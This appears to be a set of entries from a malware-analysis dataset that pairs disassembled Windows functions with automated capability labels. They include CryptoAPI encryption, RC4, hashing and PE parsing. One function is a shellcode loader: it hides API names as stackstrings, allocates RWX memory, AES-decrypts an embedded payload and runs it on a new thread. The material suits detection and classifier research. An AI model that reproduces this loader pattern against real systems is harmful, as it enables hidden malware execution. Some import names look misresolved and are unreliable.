joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009fd80
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400ef028]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, r8
mov dword [rbp - 0x40], 8
mov rbx, rdx
mov dword [rsp + 0x20], 0xf0000000
mov rsi, rcx
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x38]
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x14009feb7
movzx edx, byte [rdi + 1]
movzx ecx, byte [rdi]
movzx eax, dl
movzx r8d, byte [rdi + 5]
shr al, 1
mov byte [rbp - 0x1c], cl
shl cl, 7
or al, cl
shl dl, 6
movzx ecx, byte [rdi + 2]
mov byte [rbp - 0x1b], al
movzx eax, cl
shr al, 2
or al, dl
shl cl, 5
movzx edx, byte [rdi + 3]
mov byte [rbp - 0x1a], al
movzx eax, dl
shr al, 3
or al, cl
shl dl, 4
movzx ecx, byte [rdi + 4]
mov byte [rbp - 0x19], al
movzx eax, cl
shr al, 4
or al, dl
shl cl, 3
mov byte [rbp - 0x18], al
movzx eax, r8b
shr al, 5
or al, cl
shl r8b, 2
movzx ecx, byte [rdi + 6]
mov byte [rbp - 0x17], al
movzx eax, cl
add cl, cl
shr al, 6
or al, r8b
mov byte [rbp - 0x15], cl
mov qword [rsp + 0xa0], r14
lea rcx, [rbp - 0x1c]
xor r14d, r14d
mov byte [rbp - 0x16], al
mov dword [rbp - 0x28], 0x208
mov dword [rbp - 0x24], 0x6601
mov dword [rbp - 0x20], 8
lea edx, [r14 + 8]
call fcn.1400a3b20
mov rcx, qword [rbp - 0x38]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
lea r8d, [r14 + 0x14]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
lea rdx, [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
mov r14, qword [rsp + 0xa0]
test eax, eax
jne 0x14009febb
mov rcx, qword [rbp - 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor al, al
jmp 0x14009ff00
mov rax, qword [rsi]
xor r9d, r9d
mov rcx, qword [rbp - 0x30]
xor r8d, r8d
mov qword [rbx], rax
xor edx, edx
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp - 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140059630
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400a5240
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [str.nT_n_]
mov rdi, rax
test rax, rax
jne 0x1400a5282
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400a52c9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400a5322
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400a52e0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400a5363
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400b5e02]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400b5e03]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400a5330
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0072d870]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x0072d880]
mov dword [rax], 1
mov rax, qword [0x0072d890]
mov dword [rax], 1
mov rax, qword [0x0072d860]
mov dword [rax], 1
mov rax, qword [0x0072d740]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x0072d850]
mov dword [0x00730008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x0072d810]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x0072d6f0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401560
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
lea rax, [rbp - 8]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x4015b3
mov eax, 0xffffffff
jmp 0x4016de
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x4015f0
mov eax, 0xffffffff
jmp 0x4016de
mov rax, qword [rbp + 0x28]
mov ecx, eax
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp + 0x20]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
sete al
test al, al
je 0x401626
mov eax, 0xffffffff
jmp 0x4016de
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
sete al
test al, al
je 0x401661
mov eax, 0xffffffff
jmp 0x4016de
mov rax, qword [rbp - 0x18]
lea rdx, [rbp + 0x18]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
sete al
test al, al
je 0x4016a4
mov eax, 0xffffffff
jmp 0x4016de
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret
Function at 0x4016e4
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
call sym.__main
mov dword [rbp - 4], 0
mov byte [rbp - 0x1d], 0x6b
mov byte [rbp - 0x1c], 0x65
mov byte [rbp - 0x1b], 0x72
mov byte [rbp - 0x1a], 0x6e
mov byte [rbp - 0x19], 0x65
mov byte [rbp - 0x18], 0x6c
mov byte [rbp - 0x17], 0x33
mov byte [rbp - 0x16], 0x32
mov byte [rbp - 0x15], 0x2e
mov byte [rbp - 0x14], 0x64
mov byte [rbp - 0x13], 0x6c
mov byte [rbp - 0x12], 0x6c
mov byte [rbp - 0x11], 0
mov byte [rbp - 0x2c], 0x56
mov byte [rbp - 0x2b], 0x69
mov byte [rbp - 0x2a], 0x72
mov byte [rbp - 0x29], 0x74
mov byte [rbp - 0x28], 0x75
mov byte [rbp - 0x27], 0x61
mov byte [rbp - 0x26], 0x6c
mov byte [rbp - 0x25], 0x50
mov byte [rbp - 0x24], 0x72
mov byte [rbp - 0x23], 0x6f
mov byte [rbp - 0x22], 0x74
mov byte [rbp - 0x21], 0x65
mov byte [rbp - 0x20], 0x63
mov byte [rbp - 0x1f], 0x74
mov byte [rbp - 0x1e], 0
lea rax, [rbp - 0x1d]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp - 0x2c]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
lea rcx, str.user32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov eax, dword [0x0072ce10]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x3c], 0
mov eax, dword [0x0072ce10]
add eax, 0x1000
mov r10d, eax
mov rcx, qword [rbp - 0x38]
lea rdx, [rbp - 0x3c]
mov rax, qword [rbp - 0x10]
mov r9, rdx
mov r8d, 4
mov rdx, r10
call rax
mov eax, dword [0x0072ce10]
mov r9d, 0x10
lea r8, [0x0072ce00]
mov edx, eax
lea rcx, [0x00408020]
call sym.AESDecrypt_char__unsigned_int__char__unsigned_long_long_
mov eax, dword [0x0072ce10]
mov edx, eax
mov rax, qword [rbp - 0x38]
mov r8, rdx
lea rdx, [0x00408020]
mov rcx, rax
call sym.memmove
mov edx, dword [rbp - 0x3c]
mov eax, dword [0x0072ce10]
add eax, 0x1000
mov r10d, eax
mov rcx, qword [rbp - 0x38]
lea r8, [rbp - 0x3c]
mov rax, qword [rbp - 0x10]
mov r9, r8
mov r8d, edx
mov rdx, r10
call rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
lea rcx, str.Bye_Bye__n
call sym.printf_char_const__::_
call sym.getchar
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x401dd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00730624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401f58
mov rax, qword [0x00730628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401e1c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401ea5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401e00
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401f8d
mov rax, qword [0x00730628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00730628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401f70
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401e9e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401f00
add dword [0x00730624], 1
cmp edi, 8
jae 0x401ed3
test dil, 4
jne 0x401f44
test edi, edi
je 0x401ec8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401f5f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401ec8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401eec
jmp 0x401ec8
add rsi, qword [0x00730628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401e9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401ec8
xor esi, esi
jmp 0x401e27
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401ec8
mov rax, qword [0x00730628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4026e0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00730900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x007308e0]
test rbx, rbx
je 0x402734
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40272b
test rsi, rsi
je 0x40272b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402710
lea rcx, [0x00730900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402970
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402980
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402990
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4029d1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4029c8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4029d3
add rax, 0x28
cmp rax, r9
jne 0x4029b4
xor eax, eax
ret

Function at 0x402a70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0072d740]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402add
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402add
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402add
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402ad4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402adf
add rax, 0x28
cmp rax, r9
jne 0x402ac0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402be0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0072d740]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402c00
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402bf8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402c5d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402c54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402c64
add rax, 0x28
cmp rax, r9
jne 0x402c40
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402c80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x0072d740]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402cee
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402cee
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402cee
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402cee
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402ce5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402cf5
add rcx, 0x28
cmp rcx, rax
jne 0x402cd0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402d08
jmp 0x402cee
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402d16
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402cee
test r9d, r9d
jg 0x402d00
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x403a30
Capabilities:
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12d, 1
sub r8d, 1
mov edi, ecx
mov ecx, 0x66666667
mov eax, r8d
mov rbp, rdx
movsxd rsi, r8d
imul ecx
sar r8d, 0x1f
mov rbx, r9
mov ecx, edx
sar ecx, 2
sub ecx, r8d
je 0x403a85
mov r8d, 0x66666667
nop dword [rax]
mov eax, ecx
sar ecx, 0x1f
add r12d, 1
imul r8d
sar edx, 2
sub edx, ecx
mov ecx, edx
jne 0x403a70
mov edx, dword [rbx + 0x2c]
cmp edx, 0xffffffff
je 0x403b00
mov ecx, dword [rbx + 0xc]
cmp r12d, edx
mov r9, rbx
mov r8d, 1
cmovl r12d, edx
lea edx, [r12 + 2]
mov eax, ecx
sub eax, edx
cmp ecx, edx
mov edx, 0xffffffff
cmovle eax, edx
mov ecx, edi
mov rdx, rbp
add r12d, 1
mov dword [rbx + 0xc], eax
call sym.__pformat_emit_float
mov ecx, dword [rbx + 8]
mov rdx, rbx
mov eax, dword [rbx + 0x2c]
mov dword [rbx + 0x10], eax
mov eax, ecx
and ecx, 0x20
or eax, 0x1c0
or ecx, 0x45
mov dword [rbx + 8], eax
call sym.__pformat_putc
mov rdx, rbx
mov rcx, rsi
add dword [rbx + 0xc], r12d
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp sym.__pformat_int.isra.0
mov eax, dword [0x0072ce80]
cmp eax, 0xffffffff
je 0x403b36
test eax, eax
je 0x403b26
mov edx, 2
mov dword [rbx + 0x2c], edx
jmp 0x403a8d
mov dword [0x0072ce80], 0
call sym._get_output_format
mov edx, 3
test al, 1
jne 0x403b0f
jmp 0x403b14
lea rcx, str.PRINTF_EXPONENT_DIGITS
call sym.getenv
test rax, rax
je 0x403b1c
movsx eax, byte [rax]
sub eax, 0x30
cmp eax, 2
ja 0x403b1c
mov dword [0x0072ce80], 1
jmp 0x403b0f

Function at 0x407dd0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001000
Capabilities:
Create thread

Disassembly:
push rsi
sub rsp, 0x30
xor esi, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x14000b0c0]
xor ecx, ecx
xor edx, edx
mov r9, rax
call fcn.14002a188
test rax, rax
je 0x140001048
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x14000104d
mov esi, 1
mov eax, esi
add rsp, 0x30
pop rsi
ret

Function at 0x140003fa0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
mov rax, rcx
movzx r8d, al
test rcx, rcx
je 0x140003fc8
lea rcx, [rax - 1]
mov r9d, eax
and r9d, 3
cmp rcx, 3
jae 0x140003fd0
mov r10d, 0x811c9dc5
xor ecx, ecx
jmp 0x140004024
mov r10d, 0x811c9dc5
jmp 0x140004048
mov r11, rax
and r11, 0xfffffffffffffffc
mov r10d, 0x811c9dc5
xor ecx, ecx
nop
movzx esi, byte [rdx + rcx]
xor esi, r10d
imul r10d, esi, 0x1000193
movzx esi, byte [rdx + rcx + 1]
xor esi, r10d
imul r10d, esi, 0x1000193
movzx esi, byte [rdx + rcx + 2]
xor esi, r10d
imul r10d, esi, 0x1000193
movzx esi, byte [rdx + rcx + 3]
xor esi, r10d
imul r10d, esi, 0x1000193
add rcx, 4
cmp r11, rcx
jne 0x140003fe0
test r9, r9
je 0x140004048
add rdx, rcx
xor r11d, r11d
nop
movzx ecx, byte [rdx + r11]
xor ecx, r10d
imul r10d, ecx, 0x1000193
add r11, 1
cmp r9, r11
jne 0x140004030
mov ecx, r8d
shl ecx, 8
shl eax, 0x18
or eax, r8d
shl r8d, 0x10
or eax, ecx
or eax, r8d
xor eax, r10d
pop rsi
ret
Function at 0x140004070
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rsi
sub rsp, 0x130
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x128], rax
movaps xmm0, xmmword [0x1400410c0]
movaps xmmword [rsp + 0x20], xmm0
movaps xmm0, xmmword [0x1400410d0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [0x1400410f0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [0x140041100]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [0x140041110]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [0x140041120]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [0x140041130]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [0x140041140]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [0x140041150]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [0x140041160]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [0x140041170]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [0x140041180]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [0x140041190]
movaps xmmword [rsp + 0xf0], xmm0
movaps xmm0, xmmword [0x1400411a0]
movaps xmmword [rsp + 0x100], xmm0
movaps xmm0, xmmword [0x1400411b0]
movaps xmmword [rsp + 0x110], xmm0
xor r8d, r8d
xor r10d, r10d
nop
movzx r9d, byte [rsp + r10 + 0x20]
mov r8d, r8d
add r8, r9
mov eax, r10d
and eax, 0x1e
movzx r11d, byte [rdx + rax]
add r11, r8
movzx r8d, r11b
movzx eax, byte [rsp + r8 + 0x20]
mov byte [rsp + r10 + 0x20], al
mov byte [rsp + r8 + 0x20], r9b
lea r8d, [r10 + 1]
movzx r9d, byte [rsp + r10 + 0x21]
mov esi, r9d
add esi, r11d
and r8d, 0x1f
movzx eax, byte [rdx + r8]
add eax, esi
movzx r8d, al
movzx eax, byte [rsp + r8 + 0x20]
mov byte [rsp + r10 + 0x21], al
mov byte [rsp + r8 + 0x20], r9b
add r10, 2
cmp r10, 0x100
jne 0x140004170
cmp rcx, 0x20
je 0x140004231
xor r10d, r10d
mov r8d, 0x20
nop dword [rax]
lea esi, [r8 - 0x1f]
movzx esi, sil
movzx r9d, byte [rsp + rsi + 0x20]
add r10d, r9d
movzx r10d, r10b
movzx eax, byte [rsp + r10 + 0x20]
mov byte [rsp + rsi + 0x20], al
mov byte [rsp + r10 + 0x20], r9b
movzx eax, byte [rsp + rsi + 0x20]
add eax, r9d
movzx eax, al
movzx eax, byte [rsp + rax + 0x20]
xor byte [rdx + r8], al
add r8, 1
cmp rcx, r8
jne 0x1400041f0
mov rcx, qword [rsp + 0x128]
xor rcx, rsp
call fcn.140021820
nop
add rsp, 0x130
pop rsi
ret